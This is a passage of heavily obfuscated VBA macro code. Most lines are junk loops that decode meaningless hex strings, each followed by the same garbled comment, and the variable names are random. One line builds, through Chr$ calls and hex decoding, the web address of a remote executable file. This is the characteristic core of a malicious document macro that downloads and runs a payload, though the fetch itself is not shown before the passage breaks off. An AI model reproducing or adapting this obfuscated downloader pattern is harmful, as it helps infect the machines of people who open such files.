Dim KspAAlRo, rkXReyUl, ezvjaifK As String KspAAlRo = HexToString("20202020202020202020204D4A4C435A51202020202020202020202020202020") rkXReyUl = LTrim(KspAAlRo) ezvjaifK = RTrim(rkXReyUl) vSNlcThq = HexToString("20202020202020202020204A474C414750202020202020202020202020202020") Dim fCgXfBgC As Integer For fCgXfBgC = 0 To 9 Dim XMlDkFYY, KWEBSKrU, DXDquCAI As String XMlDkFYY = HexToString("2020202020202020202020525153564146202020202020202020202020202020") KWEBSKrU = LTrim(XMlDkFYY) DXDquCAI = RTrim(KWEBSKrU) DoEvents Next fCgXfBgC Dim vehyPPIw, klyJAJCB, CgFsFsGH As String vehyPPIw = HexToString("2020202020202020202020414B56454652202020202020202020202020202020") klyJAJCB = LTrim(vehyPPIw) CgFsFsGH = RTrim(klyJAJCB) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 PKSxBllw = LTrim(vSNlcThq) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim seXgvnjN As Integer 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 For seXgvnjN = 0 To 5 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim GdyMPsgu, lvlDlOVn, Yfbkbwpo As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 GdyMPsgu = HexToString("20202020202020202020204B4E554C4A4F202020202020202020202020202020") 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 lvlDlOVn = LTrim(GdyMPsgu) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Yfbkbwpo = RTrim(lvlDlOVn) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 DoEvents 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Next seXgvnjN 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim eRUukRvj, hPlpLkAn, AHtdmyTQ As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 eRUukRvj = HexToString("202020202020202020202055514F575150202020202020202020202020202020") 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 hPlpLkAn = LTrim(eRUukRvj) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 AHtdmyTQ = RTrim(hPlpLkAn) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 XBvbAuxY = RTrim(PKSxBllw) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim cUldPZax As Integer 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 For cUldPZax = 0 To 5 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim dEVPKQWM, oEiXdGlW, rRkoYMHC As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 dEVPKQWM = HexToString("2020202020202020202020444541434653202020202020202020202020202020") 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 oEiXdGlW = LTrim(dEVPKQWM) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 rRkoYMHC = RTrim(oEiXdGlW) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 DoEvents 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Next cUldPZax 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim YGyyHEaJ, btCJYPjm, raRdLyis As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 YGyyHEaJ = HexToString("202020202020202020202054514C52484E202020202020202020202020202020") 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 btCJYPjm = LTrim(YGyyHEaJ) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 raRdLyis = RTrim(btCJYPjm) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 End Function 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Sub IGUCOBOAWDI() 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim UrlENewP, ZtEGmiLQ, vyDaGsjS As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim yJdgYItr As Integer 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 For yJdgYItr = 0 To 2 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim cyZesefl, NjHCWnCD, guXnNsow As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 cyZesefl = HexToString("20202020202020202020204F584B435454202020202020202020202020202020") 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 NjHCWnCD = LTrim(cyZesefl) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 guXnNsow = RTrim(NjHCWnCD) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 DoEvents 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Next yJdgYItr 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim HChwpctf, zezvQsiv, foFAdBqO As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 HChwpctf = HexToString("20202020202020202020204C50584D4C46202020202020202020202020202020") 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 zezvQsiv = LTrim(HChwpctf) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 foFAdBqO = RTrim(zezvQsiv) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 UrlENewP = HexToString("20202020202020202020204348534C4B57202020202020202020202020202020") 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim KcXYlaXS As Integer 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 For KcXYlaXS = 0 To 5 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim HNUztUZs, SaKfbQNf, UzzbMHcg As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 HNUztUZs = HexToString("20202020202020202020205A464C594D50202020202020202020202020202020") 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 SaKfbQNf = LTrim(HNUztUZs) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 UzzbMHcg = RTrim(SaKfbQNf) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 DoEvents 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Next KcXYlaXS 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim YYZAVwBB, bCldGZfZ, tKaUzVtm As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 YYZAVwBB = HexToString("2020202020202020202020545552464D58202020202020202020202020202020") 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 bCldGZfZ = LTrim(YYZAVwBB) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 tKaUzVtm = RTrim(bCldGZfZ) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 ZtEGmiLQ = LTrim(UrlENewP) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim kcvhlCUu As Integer 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 For kcvhlCUu = 0 To 4 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim nxToAOqT, GdPSUmxf, kvBYjKyI As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 nxToAOqT = HexToString("2020202020202020202020454D474B565A202020202020202020202020202020") 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 GdPSUmxf = LTrim(nxToAOqT) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 kvBYjKyI = RTrim(GdPSUmxf) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 DoEvents 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Next kcvhlCUu 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim DoKwPLcW, BhRvdYny, qwjAFmRj As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 DoKwPLcW = HexToString("20202020202020202020204241475A574A202020202020202020202020202020") 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 BhRvdYny = LTrim(DoKwPLcW) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 qwjAFmRj = RTrim(BhRvdYny) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 vyDaGsjS = RTrim(ZtEGmiLQ) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim QJKSwSkF As Integer 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 For QJKSwSkF = 0 To 7 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim HJgxIlDa, SJvIecpz, UKIMxAUe As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 HJgxIlDa = HexToString("20202020202020202020205A4F4F484F45202020202020202020202020202020") 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 SJvIecpz = LTrim(HJgxIlDa) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 UKIMxAUe = RTrim(SJvIecpz) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 DoEvents 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Next QJKSwSkF 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim qxePLNXI, eSLwPuqs, IIAHCAzr As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 qxePLNXI = HexToString("20202020202020202020204D5A4B4C4B51202020202020202020202020202020") 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 eSLwPuqs = LTrim(qxePLNXI) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 IIAHCAzr = RTrim(eSLwPuqs) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 dygigGUIIU = HexToString(Chr$(54) & Chr$(56) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(48) & Chr$(51) & Chr$(65) & Chr$(50) & Chr$(70) & Chr$(50) & Chr$(70) & Chr$(54) & Chr$(54) & Chr$(55) & Chr$(50) & Chr$(55) & Chr$(53) & Chr$(54) & Chr$(57) & Chr$(54) & Chr$(52) & Chr$(54) & Chr$(70) & Chr$(50) & Chr$(69) & Chr$(54) & Chr$(52) & Chr$(54) & Chr$(53) & Chr$(50) & Chr$(70) & Chr$(54) & Chr$(65) & Chr$(55) & Chr$(51) & Chr$(50) & Chr$(70) & Chr$(54) & Chr$(50) & Chr$(54) & Chr$(57) & Chr$(54) & Chr$(69) & Chr$(50) & Chr$(69) & Chr$(54) & Chr$(53) & Chr$(55) & Chr$(56) & Chr$(54) & Chr$(53)) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim CYdKgqMW, ZAMdAYQS, mKQVlDah As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim CwhPUFzq As Integer 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 For CwhPUFzq = 0 To 9 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim UeswXEHw, XLjBahzr, vrTLPSQc As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 UeswXEHw = HexToString("2020202020202020202020555059424942202020202020202020202020202020") 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 XLjBahzr = LTrim(UeswXEHw) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 vrTLPSQc = RTrim(XLjBahzr) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 DoEvents 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Next CwhPUFzq 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim eVWTTqPK, grUIiBDe, fFqmyalA As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 eVWTTqPK = HexToString("20202020202020202020204E5051425255202020202020202020202020202020") 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 grUIiBDe = LTrim(eVWTTqPK) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 fFqmyalA = RTrim(grUIiBDe) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 CYdKgqMW = HexToString("202020202020202020202044554358454A202020202020202020202020202020") 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim clzDANKj As Integer 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 For clzDANKj = 0 To 7 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim nminSEgn, wwkSuUSZ, kwAVASpE As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 nminSEgn = HexToString("20202020202020202020204C56594B5149202020202020202020202020202020") 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 wwkSuUSZ = LTrim(nminSEgn) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 kwAVASpE = RTrim(wwkSuUSZ) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 DoEvents 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Next clzDANKj 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim xNuYrKlK, ghVkWBUx, MsTSimvf As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 xNuYrKlK = HexToString("20202020202020202020204E484D4A4349202020202020202020202020202020") 'ÏÃ(ØÏ0ð 